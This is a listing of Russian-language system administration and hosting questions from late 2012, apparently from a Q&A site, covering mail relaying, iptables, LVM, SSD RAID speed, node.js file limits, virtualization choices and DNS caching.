почта фризится и в логах Exim пишется: unroutable address, соответственно, почта не уходит.
Подскажите, пожалуйста, куда копать?
 

2012.10.30, 07:10:12   #Серверы - #27005


Здравствуйте господа!


Есть такая проблема:


— Есть достаточно большое количество dedicated и vds, которые арендованы у разных хостеров и ДЦ

— Есть большое множество проектов и сервисов, которые крутятся на серверах (чаще всего несколько сервисов и проектов на одном)


Необходимо организовать систему для контроля и учёта серверов и проектов, а также для создания бекапов.

То есть нужна система которая мониторит состояние серверов (хотя бы on/off), можно описывать сервер (местоположение, название) добавлять кастомные поля (проекты, сервисы — если бы было возможным мониторить их состояние было бы вообще круто), а также вести учёт пользователей на каждом сервере и хранить их логины пассы (в pgp контейнерах). Ну или что-то похожее. Если бы там ещё была система бекапа, было бы просто супер.


Написано очень сумбурно и вопрос скорее всего в следующем — как вы учитываете свои сервера, проекты, делаете бекапы и храните информацию о пользователях? Какие сервисы и ПО используете?


Заранее благодраю за ответ.
 

2012.10.30, 13:42:16   #Системное администрирование - #27037


На этих выходных произошел традиционный сезонный шабаш с временными зонами и Киев перешел из зоны +3 в зону +2. Но Сервер это событие проигнорировал. Попробовал воспользоваться командой dpkg-reconfigure tzdata и получил в ответ:

Current default time zone: 'Europe/Kiev'
Local time is now: Tue Oct 30 13:27:10 FET 2012.
Universal Time is now: Tue Oct 30 10:27:10 UTC 2012.


что является неправильным, так как у нас по факту 12:27:10.

Я знаю про команду data, но что-то подсказывает, что после перезагрузки сервера, за которой последует сверка с аппаратными часами и наложение временной зоны, системные часы снова начнут спешить на час.

Как правильно решить данную проблему?
 

2012.10.30, 19:55:53   #Серверы - #27081


Подскажите пожалуйста, а какие продукты Вы используете для документирования кроссировки оборудования в серверной?
Неужели нет простого продукта и удобного продукта который бы позволил разрисовать размещение оборудования в стойках и шкафах?
 

2012.10.31, 14:39:25   #Хостинг - #27121


Пиложение на Symfony2 работает на PHP 5.4 + MongoDB + RabbitMQ.

Какой из облачных сервисов лучше выбрать? Ни с одним из них не работал. Возможно есть какие-либо другие варианты? Интересует облачные хостинги для простого маштабирования.
 

2012.10.31, 22:57:12   #Системное администрирование - #27159


Если ли смысл в использовании Varnish как «reverse proxy» для nginx?


Или сам nginx хорошо справляется как HTTP cache?
 

2012.11.01, 21:03:22   #Системное администрирование - #27245


Есть финансовый проект, на 80% готовый. Нужно доработать некий функционал. Доступ к исходникам давать не хочется.

Что придумано на данный момент. Работа через какой-нибудь Тим вьювер на серверной машине, где проект развернут на локалке.

Но как быть с переносом на основной рабочий домен? Ведь в процессе работы на локальном сервере через Тим вьювер вполне может быть что зальется какой-нибудь шелл или будет сделана уязвимость «под себя», чтобы при случае заглянуть в гости и стырить все что можно

Всякие там бумажки об ответственности, договора и так далее — это все фигня и никаких гарантий не дает.
 

2012.11.02, 07:02:22   #Серверы - #27273


Привет всем. Не могу найти аналог Microsoft Lync Server. Есть ли подобные? Функционал нужен гораздо беднее — чат и голосовые звонки (возможность групповой конференции). Система FreeBSD. Желательно с одним клиентом под все возможности.

P.S. Больше корпоративный аналог Skype
 

2012.11.02, 10:57:49   #Хостинг - #27281


Ищу онлайн сервис для долговременного хранения архива электронных документов. В зашифрованном виде и с электронной подписью сотрудника отдавшего этот документ на хранение.

Есть такое?
 

2012.11.02, 11:42:54   #Системное администрирование - #27289




Доброго времени суток.
На данный момент достался сервер с Freebsd, который выполняет роль и маршрутизатора, и брандмауэра, и прокси-сервера и почтовика. MX запись прописана на этот сервер, почта ходит успешно.
Есть новенький сервер с почти настроенным postfix, который находится в локальной сети.

Хочется, чтобы MX запись оставалась у сервера с sendmail, но при этом вся почта шла из интернета на сервер с postfix и так же уходила в интернет с postfix и всё это через sendmail.
Перевести sendmail в режим SMTP Relay можно через access и mailertable

в access прописать:
IP_address_postfix RELAY
выполнить:
/usr/sbin/makemap hash access < /etc/mail/access
в mailertable прописать:
mydomen.ru smtp:[IP_address_postfix]
выполнить:
/usr/sbin/makemap hash mailertable < /etc/mail/mailertable


Подскажите, как корректно прописать транспорт для postfix и нужно ли что-то ещё у sendmail переделывать для реализации?
 

2012.11.02, 12:33:03   #Системное администрирование - #27293


Возможно изложу немного сумбурно, но постараюсь разложить по полкам.

В организацию в скором времени придет новый разработчик стажером. Начальство поставило задачу ограничить доступ разработчика к имеющейся информации в проекте, в частности к содержимому базы данных.

Естественно у него будут доступы к локальным серверам на которых производится тестирование и виртуальная машина на которой собственно ведется разработка.

Интернет в офисе без всяческих ограничений на доступ, залить сферический дамп на файлообменник (которые все непозакрывать) человек из IT-сферы думаю сможет, или на крайний случай воспользуется флешкой (ок. usb можно отключить).

Собственно вопрос для системного администратора. Если не брать в расчет всяческие NDA/честное пионерское и прочие бумажно-словесные методы и учесть что у всех разработчиков должен быть доступ практически ко всей базе данных by design, иначе им только в потолок плевать от безделья, — можно ли оградиться от возможной утечки данных?
 

2012.11.02, 15:17:55   #Системное администрирование - #27299


На машине под управлением Windows 2k3s развернул Openfire 3.7.1, настроил авторизацию в AD. Все работает замечательно, кроме одно но — пользователей с пустыми паролями не авторизует. В групповых политиках ни какого «криминала» не замечено, пустые пароли разрешены. Куда копать, непонятно.
 

2012.11.02, 16:03:09   #Системное администрирование - #27309


Есть веб-сервер на котором в данный момент крутится Apache 2.4 и несколько сайтов на разных доменах. В одном из проектов захотелось использовать websocket'ы. Apache висит на 80 порте, IP у сервера один и второй получить не получится, да и не хочется. И вот вопрос как реорганизовать сервер, чтобы запросы приходящий на один из виртуальных хостов проксировался на websocket сервер который висит например на 8081 потру. Желательно конечно обойтись модулем для апача, но рассматриваю и решения на базе Lighttpd/Ngnix, и другие главное проверенные и надёжно работающие.
 

2012.11.03, 19:37:55   #Системное администрирование - #27363


Есть проект под версионным контролем (git). Под ним вся директория проекта. Но она по каким-то админским причинам принадлежит пользователю root. Админы создали в ней папки и файлы, которые я попросил и поставили на них права на запись. Но сам я не могу удалить или создать файл в корневой директории проекта. Только редактировать могу. И при попытке сделать pull получаю такую ошибку:

error: unable to unlink old '.gitignore' (Permission denied)


Как заставить git работать в таких условиях? Можно его как-то попросить просто обновлять файлы, а не удалять и создавать заново?


Вариант «поговорить с админами и поменять структуру директорий или права» пока не рассматривается.
 

2012.11.03, 22:06:35   #Хостинг - #27375


Добрый день!

Мы более года хостим сервис у hetzner.
В конце октября поменяли кредитную карту.
Уже 4 число, а в сайте поддержки robot в разделе Invoices пишут — «This amount is not yet paid».
Сейчас до 6-го числа банк не работает и нет возможности узнать, была ли попытка снятия денег,
и если да, какова причина того, что деньги не сняты.
Гугл нам подсказал, что надо писать с просьбой дать информацию по платежу
на сайте robot в разделе Requests с указанием Request type с значением Accountancy
— мы это сделали.

Просим Вашего совета, что еще предпринять, чтобы избежать блокирования акаунта?

Извините, что вопрос затянут.
Было желание поделиться информацией в ряде топиков, но я новичок, пока кармы не хватает.
Пока пишу здесь (не примите за рекламу).
В целом хостингом довольны, железо нам EQ4 дали свежее (глядели по времени жизни винта).
Работает стабильно.

Месяц назад уже были проблемы с кредиткой — они нам вежливо написали о том,
что истек Expires карты.
Мы написали ответ, с просьбой не блокировать акаунт, что мы решаем эту проблему.
Мы оперативно создали виртуальную кредит карту в альфа банке на евро счете,
платеж прошел нормально. И снова получили от поддержки hetzner уже с информацией, что платеж прошел успешно.
Жаль альфа позволяет открыть виртуалку только на месяц, берет небольшую комиссию в переводе на рубли около 50 р.
И вот подключили новую карту, ожидаем…

Благодарю заранее всех за советы.
 

2012.11.04, 20:17:43   #Системное администрирование - #27427


Я привык к тому, что это удобно: положил копию репозитория на продакшн и делаю git pull при необходимости. Пишу на Питоне и Ruby, поэтому отдельно компилировать ничего не надо: на хостинге лежат те же исходники, что и на домашней машине. И распределенная система управления версиями работает еще и как система развертывания проекта. Бонус: если мой коммит завалил какую-то функциональность и тесты этого не выявили, то всегда можно откатиться на любую другую версию кода без дополнительных инструментов.


Если произошла какая-то экстремальная ситуация и в код на сервере были внесены изменения (мимо версионного контроля), то их легко отследить и даже закоммитить прямо оттуда (хотя, я считаю это неправильным).


В чем минусы такого подхода?


Понятно, что для развертывания проекта есть специальные инструменты. Понятно, что они удобны и необходимы при работе с Джавой, например. Но я не вижу, чем git и hg уступают им в этом плане, если разработка идет на интерпретируемом языке.


Я так понял, однажды кто-то собрал кучу исходников из .svn-директорий, открыто лежащих в веб-пространстве, и теперь все VCS на сервере считаются чем-то плохим. Но нужно же понимать разницу…
 

2012.11.05, 10:52:47   #Системное администрирование - #27441


Добрый день всем.
Необходимо подобрать высокопроизводительный сервер для:
1. MS SQL 2008 R2 с несколькими базами. 1 база большая ~70ГБ и самая частоиспользуемая
2. Несколько программ нашего производства для поддержания работа наших сервисов

Сейчас работает сервер IBM xSystem x3550 M3 (2 процессора E5620 @ 2.40 GHz, 32 Gb оперативной памяти, Система на жестком диске IBM 500 GB 7.2K 6 Gb/s, NL SAS 2.5", база 70Гб и еще одна наша база на SSD диске). В данный момент имеем трудности с производительностью (Собственно для временного решения и был куплен SSD, стало лучше но все равно проблема полностью не ушла). SQL ограничен в использовании памяти в 12Гб.
Отдельно есть еще IBM xSystem x3550 M2, на котором крутится IIS И наши сайты для обслуживания веб пользователей.

Помогите пожалуйста подобрать сервер до 15000$ для замены главного сервера. Может вместо SSD купить 3 диска со скоростью вращения 15к SAS и сделать из них RAID0, или 1 такой диск для системы и 1 SSD для баз SQL?

Пожалуйста, помогите.
 

2012.11.05, 12:56:10   #Системное администрирование - #27449


Существует следующая система. На удалённом Windows-сервере (Server 2008 R2) периодически запускаются довольно ресурсоёмкие процессы в нескольких экземплярах (с одного экзешника). Кол-во экземпляров от 1 до 20-30 может быть одновременно. Один процесс может съедать до 1 ГБ ОЗУ и прилично процессора (~1 ГГц, если можно так выразиться).

Процессы запускаются, отрабатывают минут 30 и закрываются. По запросу с удалённой системы запускаются новые.

Задача следующая — измерять потребление ресурсов каждым процессом и общей загрузки системы. В идеале искомая программа отправляет емейл/смс при превышении потребления ресурсов, но хотя бы просто ведёт лог у себя с возможностью просмотра.

Стандартный Windows-ский монитор не подходит (ни диспетчер задач, ни системный монитор — последний не может мониторить разные экземпляры одного экзешника, притом подхватывать вновь запущенные, или я не умею его готовить?)
 

2012.11.05, 19:09:06   #Серверы - #27467


Появилась потребность поставить дома железку, которая будет работать в качестве медиаплеера для ТВ, файлосервера и торрентокачалки.

Сначала думал в направлении медиаплееров. Но те, которые нравятся по функциям — ну, там, с торрентокачалкой, браузером, стриммингом сетевых сервисов и т.п. — они стоят где-то 150-200 евро и выше.

А за эти деньги на горизонте начинают маячить простенькие неттопы со всеми вытекающими. Склоняюсь скорее к ним, но, возможно, я неправ. Еще относительно медиаплееров — я вряд ли буду заморачиваться с прошивками. Ну, или точнее, вряд ли буду регулярно себе что-то ставить, хочется настроить один раз — и чтобы работало.

Что хотелось бы от железки:
— относительная всеядность по форматам и качеству — чтобы не тормозил на FullHD и знал mkv
— максимальная бесшумность
— HDMI-выход
— желателен встроенный wifi, чтобы не гадать потом с моделью свистка (это, скорее, про медиаплеер, у неттопа не должно быть проблем со свистками)
— экономичность в плане энергопотребления — железку хочется держать в сети 24/7
— по цене хотелось бы уложиться в 200 евро

Вопросы такие:

— Можно ли приобрести нормальный простенький неттоп за сумму до 200 евро?

— Прав ли я вообще, что смотрю в сторону неттопов? Я смотрел Q&A на хабре по плеерам — вижу, что плееры достаточно всеядны и умны, но, как народ отмечает, это все же не полноценный сервер.

— Вижу на немецком Амазоне вот такую модель, например — Foxconn NT-535 Netbox Atom D525 (HDMI, VGA). Может ли кто-то про нее что-то сказать, подойдет ли такая?

— Посоветуйте модели, пожалуйста, с учетом перечисленных требований.
 

2012.11.06, 12:16:48   #Системное администрирование - #27503


Есть потребность перенести карту сети из visio-файла в web-интерфейс. Желательно с поддержкой спрайтов из visio.

Кто-нибудь знает подходящие инструменты?
 

2012.11.06, 13:15:55   #Системное администрирование - #27509


Проблема в следующем:

Стоит node 0.8.14, запущен скрипт, использующий sockjs

Сервер перезапустили, и теперь постоянно сыпется в лог скрипта следующее:
events.js:71 throw arguments[1]; // Unhandled 'error' event ^ Error: accept EMFILE at errnoException (net.js:769:11) at TCP.onconnection (net.js:1017:24)

После перезагрузки я проставил
ulimit -u 1048576 ulimit -n 1048576

Эти значения были до перезагрузки


Вот вывод ulimit -a на данный момент
core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 509680 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1048576 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 10240 cpu time (seconds, -t) unlimited max user processes (-u) 1048576 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited

Система CentOS 6 x64

Гуглил, пока не нашел решения
 

2012.11.07, 08:38:23   #Системное администрирование - #27589


Поставил nodejs на Ubuntu Server 12.04. Теперь мне нужно запускать nodejs от пользователя, который имеет только доступ на запуск nodejs сервера и доступ на директорию проекта. Подскажите как создать такого пользователя и ограничить ему права?


Приложение хранится в директории /var/www/app
 

2012.11.07, 12:33:14   #Системное администрирование - #27609


Всем привет.

Есть роутер ASUS RT-N16 с модемом от Ростелекома. Раздаёт интернет всем по WiFi/витухе, в том числе и серверу. Недавно как дополнительный канал появилась Yota, хочется качать-раздавать через неё торренты, чтобы не забивать ADSL для сёрфинга.


По-хорошему, как мне кажется, надо перепрошить роутер на DD-WRT и копать уже там, однако времени и желания этим заниматься пока нет. Есть ли способ добиться такого эффекта, подключив модем напрямую к серверу? Хочется пускать все торренты (например, запросы на большие порты/от заданных программ) через Yota, а не ADSL (который раздаётся через локалку). Используются BitComet / uTorrent
 

2012.11.07, 17:16:35   #Хостинг - #27625


Добрый день друзья.

Помогите кто чем может разобраться с хостером. Клиент предоставил хостинг, некий Alkar.net где судя по хелпам ничего не менялось с десять лет, еще успешно используют CGI и так далее.

Когда я начал заливать сайт, в котором есть .htaccess с некоторыми правилами все стало колом 500 ошибки, но я такое встречаю время от времени особенно на хостингах Франции и Бельгии, но стоит найти и закоментить некоторое правило или добавить какое то новое которое они рекомендуют и все работает. Но стал я пытаться отыскать в чем проблема в этот раз наткнулся на то что никогда не мешало.

Само правило очень простое:
RewriteRule ^(?!admin/|css/|images/|inc/|js/|m/|pma/)(.+)$ index.php [L,QSA]

То есть все что не начинается на admin/|css/|images/|inc/|js/|m/|pma — передается на index.php. Это правило работало уже 4 года и я его никогда нигде не трогал и трогать тут нечего, работает оно и на моем тестовом хостинге, но у этого провайдера все выпадает в 500. Ему не нравится "?!" то есть отрицание того что идет далее.

Друзья, подскажите как быть, на этом правиле все и работает, без него никуда.

Спасибо за ваши советы и время.
 

2012.11.08, 00:57:07   #Системное администрирование - #27663


Товарищ Rzhepish у себя в кладовке разместил небольшой серверок. Машинка жужжит 24/7 (с перерывами лишь на внеплановые отключения электричества в микрорайоне), имеет статический внешний IP. Управляет этим моторчиком Ubuntu 12.04 LTS.

Нам не хватает идеи.

Хочется сделать что-то до боли простое, но при этом приятное, в духе минимализма. По типу твиттер-бота… Хмм.

Помню, до того, как мне в руки попал этот самый сервер, у меня все время были какие-то идеи, для которых просто не хватало машины, которая работала бы круглосуточно. Теперь они все таинственно испарились. Но хабраюзер найдет что посоветовать, ведь так?
 

2012.11.08, 12:48:50   #Системное администрирование - #27709


Всем привет.

У меня на машине с freebsd 8.3 есть две группы пользователей — wheel и staff. Причем пользователи группы staff не имеют привилегий группы wheel.

есть некая папка с данными. к примеру /usr/whole

мне надо сделать так, чтобы ко всем документам этой папки был одинаковый доступ как у членов wheel так и у членов staff но при этом сохранить дифференцирование членов обеих групп за пределами этой папки. Как можно организовать такое?

Гугл не помогает, так-как у меня не получается грамотно сформировать запрос, ну или удача отказывает. :)
 

2012.11.09, 10:46:53   #Хостинг - #27803


Мне нужно сделать доступ к определенным страницам по PGP ключу, весь трафик от сервера должен шифроваться открытым ключом пользователя, и на клиенте расшифровываться закрытым ключом.

Есть интересный модуль для apache — en.wikipedia.org/wiki/Mod_openpgp он работает с модулем Enigform и позволяет использовать на своем сайте асинхронное шифрование.

Подскажите, есть возможность использовать OpenPGP совместно с GlassFish?
 

2012.11.09, 13:33:42   #Системное администрирование - #27819


Появилась необходимость создать отказоустойчивый кластер MS SQL, и заодно увеличить производительность БД, путем увеличения скорости работы дисковой системы (узкое место). Сейчас присматриваюсь к недорогому решению Supermicro www.supermicro.com/products/system/4U/6047/SSG-6047R-E1R36N.cfm. Подскажите, стоит ли смотреть в сторону Supermicro, или рассматривать аналогичные решения от IBM, EMC, HP и т.д.? В чем реальная разница? Бюджет на СХД — до 20000$. На данный момент база работает на HP DL380p8gen, на 8ми SAS дисках 15k в RAID 50. Планируемая конфигурация Supermicro — 28 SAS 15K по 300Gb, и 8х100Gb SSD cache. Также планируется это хранилище использовать и для хранения ВМ Vmware, в случае, если загрузка будет невысокой. Размер БД MS SQL 200Gb.
 

2012.11.09, 21:56:12   #Системное администрирование - #27859


Я, дело в том, что пока слаб в настройке iptables. До этого всё время суппорт помогал. Сейчас же всё в моих неопытных руках…

VPS-ка упорно не хочет подключатся к удаленным хостам по 80 порту. Хотя политики в iptables, вроде, ACCEPT все:



Соответственно и wget не может до файлов достучаться.

Пробовал добавить пару правил для 80 портов — всё равно не подключается.
iptables -A INPUT -p tcp -m tcp --sport 80 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT


При временном отключении iptables всё становится нормально.

При этом пинг на ya.ru проходит. И что это за NFQUEUE. Ничего нагуглить не могу -(
 

2012.11.10, 08:59:24   #Системное администрирование - #27867


Можно ли как-то избавиться от сегментации логических томов в LVM без пересоздания разделов?

Вот, например, раздел / состоит из 4 сегментов.


root@server [~]# lvdisplay

— Logical volume — LV Name /dev/VolGroup00/LogVol01

VG Name VolGroup00

LV UUID vOMPbA-5xqb-IDgU-o2Tl-xHtv-CvKF-IbzdJ9

LV Write Access read/write

LV Status available

# open 1

LV Size 15.41 GB

Current LE 493
Segments 4

Allocation inherit

Read ahead sectors auto

— currently set to 256

Block device 253:0
 

2012.11.10, 14:43:20   #Хостинг - #27889


Что имеем:
2x Intel 520 180GB (SSDSC2CW180A3) RAID контроллер 3ware 9650SE, отключен Write Cache. Ubuntu 12.04, файловая система ext3. Никакие параметры системы специально для SSD не изменялись.
Что получаем, например для Sequential Read:
hdparm -tT /dev/sda /dev/sda: Timing cached reads: 29078 MB in 2.00 seconds = 14555.91 MB/sec Timing buffered disk reads: 592 MB in 3.01 seconds = 196.79 MB/secВроде бы удовлетворительно.

Sequential Write:
dd count=1024 bs=1M if=/dev/zero of=/opt/test.img conv=fdatasync,notrunc 1024+0 records in 1024+0 records out 1073741824 bytes (1.1 GB) copied, 123.776 s, 8.7 MB/s А вот тут разочарование. Ожидал хотя бы 100мб/сек.

Что делаю не так? Или SSD и RAID1 изначально плохая идея?

Попробовать просто так один SSD или Software RAID не могу — это арендуемый сервер.
 

2012.11.12, 09:55:23   #Хостинг - #28009


Мы предоставляем web- и dns-хостинг клиентам (на базе Parallels Plesk Panel). Постоянно возникают неопределённые проблемы с доступностью сайтов наших клиентов.

Как правило с DNS. То DNS провайдера пользователя не отдаёт адрес сайта вообще, то отдаёт неправильный. После обновления адреса сайта, провайдерские DNS обновляются с большой задержкой (особенно этим грешит Ростелеком — до 3-х дней).

Господа хостеры, какого рода проблемы чаще всего у Вас возникают? Как часто? Как вы с ними боретесь?

Есть ли здесь хостеры, использующие Plesk? Как вы боретесь за повышение доступности сайтов клиентов?
 

2012.11.13, 13:46:27   #Системное администрирование - #28111


Добрый день.

На сервере (VPS) присутствует только внешний IP-адрес. Как заставить L2TP VPN работать с клиентскими устройствами (раздавать внутренние IP-адреса)? Создать виртуальный NIC и для него поднять DHCP и настроить роутинг?

Заранее спасибо за ответы.
 

2012.11.13, 14:13:35   #Системное администрирование - #28115


Слышал и читал о logstash, graylog2, splunk, zenoss и прочих системах.

Не знаю к чему склониться. Хотелось бы услышать мнение и отзывы людей, которые используют указанные (и альтернативные) системы централизованного хранения и просмотров/визуализации логов.
 

2012.11.13, 19:41:26   #Системное администрирование - #28139


Доброго дня, уважаемые Хабровчане!
Ситуация следующая:
Есть три роутера Asus RT-N16 с прошивкой от энтузиастов. Один выступает как AP, другие репитерами. Соотвественно SSID одна, настройки один, пользователь прозрачно переходит из зоны одного роутера в зону другово и сеть не теряется. Мимимимими.
Но возникает беда. Нет, возникает ПЕЧАЛЬ! Иногда что-то в идеальном мире ломается и клиенты репитеров перестают получать IP адреса от главного (Висит получение IP адреса от SSID. Возле главного все окей). Передергиваем (ребутим) главного — все восстанавливается до следующего раза. Сейчас превентивно ребутим главный роутер по крону каждые 4 часа. Но это ведь костыль.

Решил попробовать другие прошивки — родную асусовскую и DD-WRT.
Родная выглядит красиво, но мало что умеет. Установка моста между роутерами закончилась ничем.
DD-WRT понравилась, но при установке Repeater Bridge по инструкции (http://www.dd-wrt.com/wiki/index.php/Repeater_Bridge) на каждый бридж нужна своя SSID (итого две лишние сети, которые очень меня раздражают) И коннект должен быть к каждой в своей зоне. Т.е. не подхватывается клиент с другово репитера

Существует ли правильный способ сделать одно большое покрытие сети на какой-нибудь прошивке?
Или чтобы не отваливалось теперешнее соединение. Или расскажите- как этот вопрос организован у вас? Какой-нибудь единый центр управления Wi-Fi?..
 

2012.11.14, 09:42:00   #Серверы - #28169


Помогите определиться с технологией (а еще лучше — готовой библиотекой) для реализации сервера TCP-соединений. Количество одновременных соединений максимально большое, объем передаваемого трафика при этом минимальный. Обмен двунаправленный.

Проект — сервер сбора телеметрической информации с GSM-терминалов. Целевая платформа Linux. Язык не особенно важен, вероятнее всего С++, Java.
 

2012.11.14, 20:48:06   #Системное администрирование - #28239


Добрый день, у меня VPS с plesk panel 11 и nginx. В панели плеска существует два веб окружения. В одном из них еще пара поддоменов. Без каких либо то причин вдруг заходя по адресам сайтов на хостинге все вели на один. То есть домены сайтов из другого веб окружения и поддомены все вели на одну папку с файлами, а должны каждый на свою вести. Честно говоря не понятно почему так происходит, в администрировании nginx не силен. Смотрел конфигурационные файлы, но там вроде бы везде правильные папки указаны. Поддержка не шевелится и говорит, что им нужно много времени или же у меня есть возможность оплатить услуги их специалиста 100$ в час.Подскажите, пожалуйста в какую хоть сторону копать…
 

2012.11.15, 11:55:06   #Серверы - #28281


Проблема такая: есть сервер написанный на ноде. Сервер открывает TCP сокет: порт и начинает его слушать (Подчеркиваю — не HTTP, обычный TCP сокет). К этому сокету подключаются клиенты (флешовые) и что-то слушают. Специфика работы сервера такова, что клиенты ему практически ничего не шлют, а шлет только сервер. Клиент шлет только команду авторизации при подключении. Сервер же посылает при необходимости клиенту команды. Так вот, довольно часто, примерно в 10% случаев данные от сервера клиенту не доходят. Причем зависимость определить не удается. Иногда может случится так, что сразу после авторизации данные не дойдут, иногда после некоторого промежутка времени. Причем соединение не отпадает и при следующей отсылке данных все доходит нормально.
Так вот вопросы:
— что сделать, чтоб гарантированно быть уверенным в том, что данные доходят?
— если первое не возможно, то как отследить на сервере, что данные дошли до клиента не прибегая к эхо ответам от клиента?
— что за метод socket.pipe(socket) в примере на главной сайта nodejs.org? В доке его не нашел но может он как-то поможет.

Если кто-то сталкивался с подобной ситуацией или хорошо знает работу пакета NET (http://nodejs.org/api/net.html) — помогите решением проблемы.

P.s. Сервер DEV совсем не нагружен. Только разработчики. Списывали на лаги сети, но 10% случаев это чересчур, учитывая что пинги ходят нормально.
 

2012.11.16, 10:09:43   #Системное администрирование - #28369


Помнится нам тут обещали запуск антиддос сервиса 15 ноября за 5$ в месяц.
Пост найти не удалось ни хабром, ни гуглом.
 

2012.11.16, 10:23:28   #Системное администрирование - #28373


Или другой редиректор TCP.
Пусть есть машина A, которая работает с машиной B — которая перенаправляет всё (или то, что надо) на машину C с помощью rinetd.
На участке B-C как-то виден адрес A? Имеется ввиду средствами провайдера сети C.
 

2012.11.17, 00:57:57   #Системное администрирование - #28455


Тематика следующая и озаглавить её можно так: «Настройка lamp сервера в домашних условиях».


Сам являюсь программистом, но вот занимаюсь разносторонней деятельностью. Среди всего я недавно изучил очень большое количество настроек всевозможных вещей: nginx, apache, php, mysql, postfix(я уже писал об этом), кое что понимаю в базовых проблемах железа.


На кого ориентирован цикл статей:

Программисты, а так же люди, которые думают переезжать с хостинга на виртуальный/выделенный сервер и которым нужна универсальная настройка системы аля «хостинг только мощней». Для профессионалов наверное будет не интересно, но я надеюсь, что они дадут еще какие-нибудь советы, ибо слышал, что правильная настройка сети может давать прирост производительности.


Среди тем:


Сборка сервера на основе платформы начального уровня intel s3420gp, какие могут быть проблемы, особо глубоко не вдаваясь, но все-таки некоторые вещи замечу, что бы не наступали на грабли. Например с оперативной памятью, либо с выбором дисков.


Базовая настройка сервера на основе debian squeeze, установка софта, базовые средства мониторинга, бекапы, репозитории, которые бы я советовал (для меня было открытием, что их множество и я нашел интересные подборки для себя). Базовая настройка фаервола.


Настройка lamp, фронтент, бэкенд, кеширование опкода пхп, база данных, кеширование данных. Расчет возможностей сервера, расчет оперативной памяти (делаю на глаз очень грубо), защита от атак на бэкенд.


====


Как-то так сумбурно пока. В общем, если интересно, то я напишу обо всем этом последовательно.

Писать буду не сразу. Сейчас я занят — занимаюсь настройкой MySQL, сделал половину =).

UPD1: 2012.11.17 18:00

Понял пожелания. Учту. Тогда я начну с настройки lamp, а все остальное потом.
 

2012.11.18, 13:56:45   #Серверы - #28517


Добрый день. Подскажите, как лучше всего организовать файлопомойку для дизайнеров, если есть много места на сервере у Hetzner. Ставить SAMBA? FTP? Или есть человеколюбивые интерфейсы, чтобы удобно было и не надо было миллион паролей запоминать?
 

2012.11.21, 13:58:28   #Системное администрирование - #28765


Сейчас мне требуется выбрать средство для виртуализации нескольких важных серверов. Железка с двумя процессорами и множеством оперативной памяти. Требования, это удобство управления и производительность. Сначала выбор пал на Hyper-V 2008, но как оказалось у него есть досадное ограничение по количеству оперативной памяти на одну виртуальную машину, в размере 8гб для Windows Server 2008 r2(а требуется хотя бы 25). Vmware esxi не подошел по цене (да и пробная версия поддерживает 1 физический процессор). Требуется дельный совет в выборе.
 

2012.11.22, 10:57:42   #Системное администрирование - #28843


Здравствуйте.

Нужно реализовать балансировку нагрузки на файловые сервера.

Несколько месяцев назад большая часть файлов была переброшена на один сервер с гигабитным каналом. Сейчас вся нагрузка уперлась в скорость канала…

В запасе есть еще несколько серверов на которых простаивает канал.

Вариант с расширением канала на нагружаемом сервере не выгодный по деньгам.

Делать полное зеркало сервера тоже нет возможности.


Есть возможность брать самые качаемые файлы с сервера 1 и разбрасывать их по другим серверам.

Может кто-то подскажет методы как это организовать?
 

2012.11.22, 11:39:45   #Хостинг - #28851


Нигде не могу найти ответа на этот вопрос. В вики Hetzner'а пишут примеры с минимальным TTL 86 400, т.е. 24 часа.
 

2012.11.22, 19:10:25   #Системное администрирование - #28893


Всем доброго времени суток


Имеется домашняя сеть с десктопом, ноутбуком, несколько смартфонов и hd плеер.


Пожалуйста посоветуйте легкое решение для сетевого хранилища для этих устройств.
 

2012.11.23, 02:20:48   #Серверы - #28923


Собственно вопрос в заголовке, чем меньше трат соответственно лучше, желательно готовые решения, а если есть опыт использования то еще лучше. Поднять на старом компе тоже исключается.

Благодарю за помощь.
 

2012.11.25, 15:32:58   #Системное администрирование - #29091


Чищу локальный dns-кеш:
ipconfig /flushdns
Иду на хабр пингом, nslookup'ом, через Chrome. Смотрю
ipconfig /displaydns | more
Вижу закешированный /system32/drivers/etc/hosts и более ничего.

Где лежит и как посмотреть? В серверной винде есть dnsmgmt, а что делать на десктопе и где смотреть остальное содержимое кеша?

UPD:
Заход через Firefox и IE оставили записи в dns-кеше.
Ушел искать хитрости Chrome в работе с кешом. Спасибо.

UPD2:
Грешу на встроенный экспериментальный асинхронный DNS-клиент,
выставленный в chrome://flags/
 

2012.11.26, 16:45:54   #Системное администрирование - #29183




Чужие сиси, для привлечения внимания.


Есть проект, по которому все еще больше вопросов, чем ответов (не Хабр). Хочется рассказать о том, как и почему мы делаем, что бы добиться заветного HA-статуса его работы и сохранности наших данных меньшей кровью. Клиенты получат решение, а все размышления уйдут в песок.


История пойдет от вопросов с DNS и докатиться до анализа производительности и настроек служб мониторинга какой-нибудь MySQL. Возможно про облака что-то будет, если понадобится и будет выбран Amazon Route 53 (почему-то вкуснее выглядит чем ЗерАйГоу). Уровень будет не очень продвинутый, но на комментаторов уповаю.


P.S. А вообще, я бы с удовольствие коллективно перемусолил архитектуру TM и её проектов, но не нашел никакой информации в паблике. Схему набросал в Mindjet на основании виндовых консольных инструментов.)
 

2012.11.26, 17:53:20   #Хостинг - #29187


Приветствую!

Для одного некоммерческого проекта иногда появляется необходимость размещать где-нибудь аудио-записи длиной ~2 часа и, соответственно, вставлять их на страницу для публичного прослушивания. Сразу полез посмотреть на soundcloud, но он немного про другое и в бесплатном режиме ограничение 2 часа на аккаунт. В идеале, хотелось бы что-то вроде ютюба для аудио. Есть, конечно, подкаст терминалы, но учитывая специфичность записей — это не совсем целевое использование. Конечно, на крайний случай придется закачивать в какое-нибудь облачное хранилище и платить за трафик, но хотелось бы обойтись минимальными вложениями.


Кто-что подскажет?


Спасибо.
 

2012.11.27, 10:42:29   #Системное администрирование - #29239


Процесс System слушает 80 порт, на котором должен висеть ненавистный Kerio mail server.
Т.к. system стартует раньше, kerio молча выключает службу.
В данный момент сделан костыль в виде маппинга на 81 порт.
Как узнать, что же именно слушает 80 порт?
 

2012.11.28, 13:44:30   #Серверы - #29343


